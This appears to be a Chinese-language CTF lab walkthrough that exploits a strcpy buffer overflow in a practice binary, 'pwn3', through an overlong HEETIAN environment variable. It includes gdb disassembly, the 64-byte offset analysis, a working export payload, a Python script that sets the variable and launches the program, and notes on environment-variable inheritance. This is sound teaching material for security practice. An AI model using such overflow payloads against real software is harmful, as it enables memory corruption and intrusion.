CTF | PWN練習之環境變量繼承

實驗描述:

       主機/home/test/3目錄下有一個pwn3程序,這個程序會對進程中名爲HEETIAN的環境變量的值進行處理,通過構造特定的環境變量參數數據可以對程序發起溢出攻擊,成功會提示Congratulations, you pwned it.,失敗則會提示Please try again.的提示信息。注意:如果沒有設置HEETIAN這個環境變量,那麼運行程序後將輸出Please set the HEETIAN environment variable,之後程序自動退出。

      請對pwn3程序進行逆向分析和調試,找到程序內部的漏洞,並構造特殊的環境變量參數數據,使之輸出成功的提示信息。

實驗目的:

學習環境變量的基本知識,掌握修改進程環境變量參數的方法,明白父子進程之間默認擁有相同的環境變量參數,通過精心構造環境變量數據來修改內存內容,使得modified變量的值爲我們所掌控。

實驗步驟:

1、源碼審計

在終端進入目錄 /home/test/3,執行cat pwn3.c程序可看到源碼:

程序通過getenv()函數獲取名爲HEETIAN的環境變量參數,然後使用strcpy函數將其值複製到buffer緩衝區中,在這裏可以引發緩衝區溢出。

當設置超過緩衝區長度的環境變量參數時,將會產生緩衝區溢出,數據覆蓋buffer後會繼續覆蓋掉modified的變量。

2、使用gdb調試程序

執行gdb pwn3對pwn3開始調試,輸入disas main,查看main函數的彙編代碼:

關鍵彙編代碼解釋:

 ......

0x0804848d<+9>:     movl   $0x80485d4,(%esp)

; 調用getenv獲取環境變量HEETIAN的值

0x08048494<+16>:call    0x8048364<getenv@plt>

; 將結果保存到variable變量,即[esp+0x5c]

0x08048499<+21>:mov    %eax,0x5c(%esp)

; 判斷返回結果是否爲NULL

0x0804849d<+25>:    cmpl   $0x0,0x5c(%esp)

0x080484a2<+30>:jne     0x80484bc<main+56>

   ......

; 初始化modified變量的值爲0,位於[esp+0x58]

0x080484bc<+56>:    movl   $0x0,0x58(%esp)

; 調用strcpy對buffer進行填充,位於[esp+0x18]

0x080484c4<+64>:mov   0x5c(%esp),%eax

0x080484c8<+68>:mov    %eax,0x4(%esp)

0x080484cc<+72>:lea     0x18(%esp),%eax

0x080484d0<+76>:mov    %eax,(%esp)

0x080484d3<+79>:call  0x8048384<strcpy@plt>

; 判斷modified變量的值是否爲0x0d0a0d0a

0x080484d8<+84>:    cmpl   $0xd0a0d0a,0x58(%esp)

   ......

End of assembler dump.

通過分析可知,buffer位於esp+0x18處,modified位於esp +0x58處,兩個地址距離0x58-0x18=0x40,即64,正好是buffer數組大小。所以當環境變量HEETIAN的值超過64字節時,modified變量的值就可以被覆蓋。合理控制環境變量參數的第65~68字節的內容,就可以發起攻擊。

3、發起溢出攻擊

目標機器採用的是小端格式存儲數據,而if語句分支要求modified值爲0xd0a0d0a時才通過判斷,所以構造的數據應該爲\x0a\x0d\x0a\x0d。

可以通過兩種不同的方法來修改環境變量的值。

【1】通過export修改環境變量的值

退出gdb,執行語句:export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d' ")

然後執行./pwn3:

【2】通過python腳本動態修改環境變量

在/home/text/3下存在一個pwn3.py的python腳本,執行cat pwn3.py查看源碼:

import os

 

defpwn():

    os.putenv("HEETIAN","A"*64+"\x0a\x0d\x0a\x0d")

    os.system("./pwn3")

 

if __name__ =="__main__":

    pwn()

爲了排除前面的環境變量的干擾,先修改HEETIAN的的值爲AAAA,然後再執行python腳本:

 pwn3.py先修改HEETIAN環境變量的值,然後通過system啓動pwn3程序。

實驗總結:

1、環境變量參數:在Linux/Windows操作系統中, 每個進程都有其各自的環境變量設置。 缺省情況下, 當一個進程被創建時,除了創建過程中的明確更改外,它繼承了其父進程的絕大部分環境變量信息。、

擴展的C語言main函數可以傳遞三個參數,除了argc和argv參數外,還能接受一個char**類型的envp參數。envp指向一個字符串數組,該數組存儲了當前進程具體的環境變量的內容,envp的最後一個元素指向NULL,此爲envp結束的標識符。

環境變量的格式爲:環境變量名=環境變量值

當父進程啓動一個子進程時,子進程會繼承父進程的換了變量信息。在Linux Shell下,通過export可以給Shell添加一個環境變量,此後通過Shell啓動的子進程都會擁有這個環境變量。

2、export [-fnp][環境變量名]=[變量設置值]

 參  數:

-f  代表[變量名稱]中爲函數名稱。

-n  刪除指定的變量。變量實際上並未刪除,只是不會輸出到後續指令的執行環境中。

-p  列出所有的shell賦予程序的環境變量。

3、Python的os模塊提供創建子進程以及修改環境變量的函數,其中os.system函數可以創建一個子進程,且子進程會繼承父進程的環境變量參數信息;os.putenv可以修改進程的環境變量參數信息。

4、除了通過export添加環境變量以外,還可以通過函數getenv、putenv、setenv等對環境變量進行操作。

putenv():定義函數 int putenv(const char * string);
函數說明:用來改變或增加環境變量的內容。參數string的格式爲name=value,如果該環境變量原先存在,則變量內容會依參數string改變,否則此參數內容會成爲新的環境變量。
返回值:執行成功則返回0,有錯誤發生則返回-1。

 setenv():定義函數 int setenv(const char *name,const char * value,int overwrite);
 函數說明 setenv()用來改變或增加環境變量的內容。參數 name爲環境變量名稱字符串,參數 value則爲變量內容,參數 overwrite用來決定是否要改變已存在的環境變量。如果overwrite不爲0,則改變環境變量原有內容,原有內容會被改爲參數value所指的變量內容。如果overwrite爲0,且該環境變量已有內容,則參數value會被忽略。
返回值 執行成功則返回0,有錯誤發生時返回-1。

5、 Linux Shell中,可以使用$()或者兩個反引號(`)來包裹一條shell命令,並返回shell命令的執行結果。

比如上面實驗也可執行export HEETIAN=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d' "`命令。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章